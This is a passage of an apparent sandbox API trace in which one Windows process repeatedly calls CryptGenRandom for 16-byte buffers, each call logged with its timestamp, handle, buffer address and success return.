CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f084 | out: pbBuffer=0x366f084) returned 1 [0159.721] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f034 | out: pbBuffer=0x366f034) returned 1 [0159.726] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f8cc | out: pbBuffer=0x366f8cc) returned 1 [0159.728] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f05c | out: pbBuffer=0x366f05c) returned 1 [0159.731] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f23c | out: pbBuffer=0x366f23c) returned 1 [0159.735] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f82c | out: pbBuffer=0x366f82c) returned 1 [0159.739] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f5ac | out: pbBuffer=0x366f5ac) returned 1 [0159.742] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f0ac | out: pbBuffer=0x366f0ac) returned 1 [0159.745] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366fa5c | out: pbBuffer=0x366fa5c) returned 1 [0159.748] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366fa84 | out: pbBuffer=0x366fa84) returned 1 [0159.753] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366fa0c | out: pbBuffer=0x366fa0c) returned 1 [0159.756] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366fa34 | out: pbBuffer=0x366fa34) returned 1 [0159.758] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366fb9c | out: pbBuffer=0x366fb9c) returned 1 [0159.762] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366faac | out: pbBuffer=0x366faac) returned 1 [0159.767] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ff0c | out: pbBuffer=0x366ff0c) returned 1 [0159.770] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366fc14 | out: pbBuffer=0x366fc14) returned 1 [0159.772] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366fb4c | out: pbBuffer=0x366fb4c) returned 1 [0159.776] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366fb74 | out: pbBuffer=0x366fb74) returned 1 [0159.780] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366fafc | out: pbBuffer=0x366fafc) returned 1 [0159.783] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366fb24 | out: pbBuffer=0x366fb24) returned 1 [0159.786] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366fd04 | out: pbBuffer=0x366fd04) returned 1 [0159.789] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366fbec | out: pbBuffer=0x366fbec) returned 1 [0159.795] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366fe44 | out: pbBuffer=0x366fe44) returned 1 [0159.797] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366fd2c | out: pbBuffer=0x366fd2c) returned 1 [0159.800] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366fcb4 | out: pbBuffer=0x366fcb4) returned 1 [0159.804] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366fc8c | out: pbBuffer=0x366fc8c) returned 1 [0159.808] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f9bc | out: pbBuffer=0x366f9bc) returned 1 [0159.811] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f91c | out: pbBuffer=0x366f91c) returned 1 [0159.814] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f944 | out: pbBuffer=0x366f944) returned 1 [0159.817] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f494 | out: pbBuffer=0x366f494) returned 1 [0159.821] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f8a4 | out: pbBuffer=0x366f8a4) returned 1 [0159.824] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f534 | out: pbBuffer=0x366f534) returned 1 [0159.827] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366fc64 | out: pbBuffer=0x366fc64) returned 1 [0159.831] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f444 | out: pbBuffer=0x366f444) returned 1 [0159.835] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f354 | out: pbBuffer=0x366f354) returned 1 [0159.838] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f4bc | out: pbBuffer=0x366f4bc) returned 1 [0159.840] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f3cc | out: pbBuffer=0x366f3cc) returned 1 [0159.844] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f37c | out: pbBuffer=0x366f37c) returned 1 [0159.849] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ff84 | out: pbBuffer=0x366ff84) returned 1 [0159.852] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f96c | out: pbBuffer=0x366f96c) returned 1 [0159.855] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366fcdc | out: pbBuffer=0x366fcdc) returned 1 [0159.859] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ffd4 | out: pbBuffer=0x366ffd4) returned 1 [0159.863] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366fe1c | out: pbBuffer=0x366fe1c) returned 1 [0159.866] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366fdf4 | out: pbBuffer=0x366fdf4) returned 1 [0159.869] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366febc | out: pbBuffer=0x366febc) returned 1 [0159.873] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ffac | out: pbBuffer=0x366ffac) returned 1 [0159.877] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366fee4 | out: pbBuffer=0x366fee4) returned 1 [0159.881] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f854 | out: pbBuffer=0x366f854) returned 1 [0159.883] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ff5c | out: pbBuffer=0x366ff5c) returned 1 [0159.891] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366fdcc | out: pbBuffer=0x366fdcc) returned 1 [0159.909] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f304 | out: pbBuffer=0x366f304) returned 1 [0159.912] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f14c | out: pbBuffer=0x366f14c) returned 1 [0159.915] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366fe94 | out: pbBuffer=0x366fe94) returned 1 [0159.922] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f714 | out: pbBuffer=0x366f714) returned 1 [0159.926] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f3f4 | out: pbBuffer=0x366f3f4) returned 1 [0159.934] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f994 | out: pbBuffer=0x366f994) returned 1 [0159.942] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668674 | out: pbBuffer=0x3668674) returned 1 [0159.946] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36680d4 | out: pbBuffer=0x36680d4) returned 1 [0159.950] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668a5c | out: pbBuffer=0x3668a5c) returned 1 [0159.955] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f584 | out: pbBuffer=0x366f584) returned 1 [0159.959] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f41c | out: pbBuffer=0x366f41c) returned 1 [0159.963] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f3a4 | out: pbBuffer=0x366f3a4) returned 1 [0159.966] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366fda4 | out: pbBuffer=0x366fda4) returned 1 [0159.969] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36685d4 | out: pbBuffer=0x36685d4) returned 1 [0159.975] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668944 | out: pbBuffer=0x3668944) returned 1 [0159.979] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668b24 | out: pbBuffer=0x3668b24) returned 1 [0159.982] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366823c | out: pbBuffer=0x366823c) returned 1 [0159.985] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668354 | out: pbBuffer=0x3668354) returned 1 [0159.990] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366846c | out: pbBuffer=0x366846c) returned 1 [0159.993] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366837c | out: pbBuffer=0x366837c) returned 1 [0159.996] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668764 | out: pbBuffer=0x3668764) returned 1 [0160.000] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366814c | out: pbBuffer=0x366814c) returned 1 [0160.004] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668b74 | out: pbBuffer=0x3668b74) returned 1 [0160.008] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668c14 | out: pbBuffer=0x3668c14) returned 1 [0160.011] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36689e4 | out: pbBuffer=0x36689e4) returned 1 [0160.014] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668afc | out: pbBuffer=0x3668afc) returned 1 [0160.018] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668494 | out: pbBuffer=0x3668494) returned 1 [0160.021] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36687b4 | out: pbBuffer=0x36687b4) returned 1 [0160.024] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668cb4 | out: pbBuffer=0x3668cb4) returned 1 [0160.028] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668f84 | out: pbBuffer=0x3668f84) returned 1 [0160.033] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36684e4 | out: pbBuffer=0x36684e4) returned 1 [0160.035] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668dcc | out: pbBuffer=0x3668dcc) returned 1 [0160.038] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3575444 | out: pbBuffer=0x3575444) returned 1 [0160.042] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3646ee4 | out: pbBuffer=0x3646ee4) returned 1 [0160.048] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36460ac | out: pbBuffer=0x36460ac) returned 1 [0160.051] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36647dc | out: pbBuffer=0x36647dc) returned 1 [0160.054] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366478c | out: pbBuffer=0x366478c) returned 1 [0160.058] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36646c4 | out: pbBuffer=0x36646c4) returned 1 [0160.063] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664494 | out: pbBuffer=0x3664494) returned 1 [0160.066] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36645d4 | out: pbBuffer=0x36645d4) returned 1 [0160.069] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664354 | out: pbBuffer=0x3664354) returned 1 [0160.072] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664f34 | out: pbBuffer=0x3664f34) returned 1 [0160.077] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664aac | out: pbBuffer=0x3664aac) returned 1 [0160.081] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366482c | out: pbBuffer=0x366482c) returned 1 [0160.083] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664994 | out: pbBuffer=0x3664994) returned 1 [0160.087] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664a0c | out: pbBuffer=0x3664a0c) returned 1 [0160.092] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664c64 | out: pbBuffer=0x3664c64) returned 1 [0160.095] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x347f8f4 | out: pbBuffer=0x347f8f4) returned 1 [0160.098] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x347f2dc | out: pbBuffer=0x347f2dc) returned 1 [0160.101] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366aa5c | out: pbBuffer=0x366aa5c) returned 1 [0160.106] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ad54 | out: pbBuffer=0x366ad54) returned 1 [0160.109] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366acb4 | out: pbBuffer=0x366acb4) returned 1 [0160.112] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ab74 | out: pbBuffer=0x366ab74) returned 1 [0160.115] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a494 | out: pbBuffer=0x366a494) returned 1 [0160.120] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a3f4 | out: pbBuffer=0x366a3f4) returned 1 [0160.122] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a9bc | out: pbBuffer=0x366a9bc) returned 1 [0160.126] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a78c | out: pbBuffer=0x366a78c) returned 1 [0160.129] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366aad4 | out: pbBuffer=0x366aad4) returned 1 [0160.136] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a7b4 | out: pbBuffer=0x366a7b4) returned 1 [0160.139] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a28c | out: pbBuffer=0x366a28c) returned 1 [0160.143] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a8cc | out: pbBuffer=0x366a8cc) returned 1 [0160.358] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a19c | out: pbBuffer=0x366a19c) returned 1 [0160.399] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a584 | out: pbBuffer=0x366a584) returned 1 [0160.402] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a214 | out: pbBuffer=0x366a214) returned 1 [0160.461] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a8f4 | out: pbBuffer=0x366a8f4) returned 1 [0160.467] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366aee4 | out: pbBuffer=0x366aee4) returned 1 [0160.539] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366af5c | out: pbBuffer=0x366af5c) returned 1 [0160.580] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a2dc | out: pbBuffer=0x366a2dc) returned 1 [0160.593] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a87c | out: pbBuffer=0x366a87c) returned 1 [0160.606] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a264 | out: pbBuffer=0x366a264) returned 1 [0160.625] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366aa0c | out: pbBuffer=0x366aa0c) returned 1 [0160.643] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ad7c | out: pbBuffer=0x366ad7c) returned 1 [0160.842] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a9e4 | out: pbBuffer=0x366a9e4) returned 1 [0160.865] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366aaac | out: pbBuffer=0x366aaac) returned 1 [0160.960] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a444 | out: pbBuffer=0x366a444) returned 1 [0160.969] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x347eafc | out: pbBuffer=0x347eafc) returned 1 [0160.985] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a994 | out: pbBuffer=0x366a994) returned 1 [0160.990] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x362d494 | out: pbBuffer=0x362d494) returned 1 [0161.011] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a5ac | out: pbBuffer=0x366a5ac) returned 1 [0161.081] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a714 | out: pbBuffer=0x366a714) returned 1 [0161.087] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a354 | out: pbBuffer=0x366a354) returned 1 [0161.092] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366aa34 | out: pbBuffer=0x366aa34) returned 1 [0161.100] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ae6c | out: pbBuffer=0x366ae6c) returned 1 [0161.154] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x348196c | out: pbBuffer=0x348196c) returned 1 [0161.160] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a69c | out: pbBuffer=0x366a69c) returned 1 [0161.176] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a3cc | out: pbBuffer=0x366a3cc) returned 1 [0161.192] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671f5c | out: pbBuffer=0x3671f5c) returned 1 [0161.196] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671a5c | out: pbBuffer=0x3671a5c) returned 1 [0161.200] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671c8c | out: pbBuffer=0x3671c8c) returned 1 [0161.203] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671fd4 | out: pbBuffer=0x3671fd4) returned 1 [0161.206] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671e94 | out: pbBuffer=0x3671e94) returned 1 [0161.208] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671dcc | out: pbBuffer=0x3671dcc) returned 1 [0161.212] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671c3c | out: pbBuffer=0x3671c3c) returned 1 [0161.215] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36710d4 | out: pbBuffer=0x36710d4) returned 1 [0161.225] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671b4c | out: pbBuffer=0x3671b4c) returned 1 [0161.228] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36712b4 | out: pbBuffer=0x36712b4) returned 1 [0161.232] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36710ac | out: pbBuffer=0x36710ac) returned 1 [0161.234] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36712dc | out: pbBuffer=0x36712dc) returned 1 [0161.238] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367191c | out: pbBuffer=0x367191c) returned 1 [0161.241] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671354 | out: pbBuffer=0x3671354) returned 1 [0161.244] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36713a4 | out: pbBuffer=0x36713a4) returned 1 [0161.247] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36714e4 | out: pbBuffer=0x36714e4) returned 1 [0161.250] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367141c | out: pbBuffer=0x367141c) returned 1 [0161.254] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36715ac | out: pbBuffer=0x36715ac) returned 1 [0161.258] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a82c | out: pbBuffer=0x366a82c) returned 1 [0161.265] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x348196c | out: pbBuffer=0x348196c) returned 1 [0161.592] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664fd4 | out: pbBuffer=0x3664fd4) returned 1 [0161.596] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3655f84 | out: pbBuffer=0x3655f84) returned 1 [0161.880] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664ebc | out: pbBuffer=0x3664ebc) returned 1 [0161.934] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664b4c | out: pbBuffer=0x3664b4c) returned 1 [0161.937] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664f5c | out: pbBuffer=0x3664f5c) returned 1 [0161.975] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664a0c | out: pbBuffer=0x3664a0c) returned 1 [0161.984] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x362d494 | out: pbBuffer=0x362d494) returned 1 [0161.988] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366441c | out: pbBuffer=0x366441c) returned 1 [0161.991] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664124 | out: pbBuffer=0x3664124) returned 1 [0161.997] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366482c | out: pbBuffer=0x366482c) returned 1 [0162.004] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664dcc | out: pbBuffer=0x3664dcc) returned 1 [0162.006] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664da4 | out: pbBuffer=0x3664da4) returned 1 [0162.106] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664624 | out: pbBuffer=0x3664624) returned 1 [0162.107] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664c64 | out: pbBuffer=0x3664c64) returned 1 [0162.108] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366478c | out: pbBuffer=0x366478c) returned 1 [0162.108] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664aac | out: pbBuffer=0x3664aac) returned 1 [0162.108] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664b9c | out: pbBuffer=0x3664b9c) returned 1 [0162.151] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3646fac | out: pbBuffer=0x3646fac) returned 1 [0162.152] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3646f34 | out: pbBuffer=0x3646f34) returned 1 [0162.152] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3646ee4 | out: pbBuffer=0x3646ee4) returned 1 [0162.153] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36643a4 | out: pbBuffer=0x36643a4) returned 1 [0162.153] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x35754e4 | out: pbBuffer=0x35754e4) returned 1 [0162.154] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x35752dc | out: pbBuffer=0x35752dc) returned 1 [0162.154] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3575444 | out: pbBuffer=0x3575444) returned 1 [0162.155] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x35755d4 | out: pbBuffer=0x35755d4) returned 1 [0162.155] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x357555c | out: pbBuffer=0x357555c) returned 1 [0162.155] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3646dcc | out: pbBuffer=0x3646dcc) returned 1 [0162.156] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x347fafc | out: pbBuffer=0x347fafc) returned 1 [0162.156] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x347f2dc | out: pbBuffer=0x347f2dc) returned 1 [0162.157] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x347fa0c | out: pbBuffer=0x347fa0c) returned 1 [0162.157] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x347f8f4 | out: pbBuffer=0x347f8f4) returned 1 [0162.158] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x347f96c | out: pbBuffer=0x347f96c) returned 1 [0162.158] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x347f87c | out: pbBuffer=0x347f87c) returned 1 [0162.159] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x347f37c | out: pbBuffer=0x347f37c) returned 1 [0162.159] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x347f854 | out: pbBuffer=0x347f854) returned 1 [0162.160] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x347fa84 | out: pbBuffer=0x347fa84) returned 1 [0162.160] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x347fc64 | out: pbBuffer=0x347fc64) returned 1 [0162.161] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36682dc | out: pbBuffer=0x36682dc) returned 1 [0162.161] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366873c | out: pbBuffer=0x366873c) returned 1 [0162.161] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668dcc | out: pbBuffer=0x3668dcc) returned 1 [0162.162] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36684e4 | out: pbBuffer=0x36684e4) returned 1 [0162.162] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668444 | out: pbBuffer=0x3668444) returned 1 [0162.163] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668f84 | out: pbBuffer=0x3668f84) returned 1 [0162.163] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36688cc | out: pbBuffer=0x36688cc) returned 1 [0162.164] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668cb4 | out: pbBuffer=0x3668cb4) returned 1 [0162.164] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366882c | out: pbBuffer=0x366882c) returned 1 [0162.165] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36687b4 | out: pbBuffer=0x36687b4) returned 1 [0162.165] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668a0c | out: 